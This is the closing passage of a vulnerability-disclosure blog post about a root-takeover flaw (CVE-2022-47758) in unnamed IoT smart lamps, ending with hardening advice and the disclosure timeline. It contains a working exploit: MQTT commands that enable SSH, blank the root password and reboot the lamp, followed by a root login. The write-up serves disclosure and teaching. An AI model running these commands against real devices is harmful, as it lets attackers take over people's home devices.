dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
/etc/passwd – contains user information

We can overwrite the root password using passwd -d which resets the password to be empty, and the OpenSSH will gladly accept that. This means that we can essentially start an OpenSSH server using touch /acme_config/ssh_enabled && passwd -d && reboot. However, in practice our commands get executed using execv(char* filepath, char** argv). This means that we need to execute the commands seperately with the full path. Hence, our payload is as follows:

$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "debug /bin/touch /acme/ssh_enabled" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "stop" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "debug /bin/passwd -d root" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "stop" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "debug /sbin/reboot" --insecure --cafile /etc/mosquitto/certs/ca.crt

When we execute this, we start the OpenSSH server and we can log in as root:

$ ssh [email protected] [email protected]:~$ whoami
root

Conclusion

As we have discovered in this article, a critical vulnerability was found in many, many IoT smart lighting devices, allowing attackers to gain control over the entire device and access sensitive information. This serves as a reminder of the importance of IoT security for both vendors and consumers.

As consumers, we can follow these best practices to enhance the security of our home network:

  1. Keep devices' software up-to-date to prevent vulnerabilities from being exploited.
  2. Keep smart devices on a separate sub-network to reduce privacy concerns.
  3. Use long passwords (even pass-sentences) and two-factor authentication where possible.
  4. Disable unused or unnecessary services and ports on devices.

As developers, we can implement the following best practices to ensure the security of our IoT devices:

  1. Conduct thorough security assessments and penetration testing to identify and fix vulnerabilities before deploying devices.
  2. Implement encryption and authentication mechanisms to secure data transmitted between the device and the server.
  3. Use secure coding practices and avoid insecure software libraries.
  4. Regularly update and patch devices to fix security vulnerabilities (and do it fast 🙂 ).

By following these best practices, we can reduce the risk of security breaches and ensure the safety and security of our connected devices and home networks.

Furthermore, the vulnerabilities in said smart lamps were patched by the vendor in early January 2023, about a month after coordinated vulnerability disclosure. The vendor gave us explicit permission to publish this blogpost – under the agreement we wouldn't mention the vendors name nor product name – and gave us permission to publish CVE-2022-47758.

We hope this blogpost has been as interesting to read for you as it was for us to write, and thank you for taking the time to read this blogpost.

Notselwyn, March 2023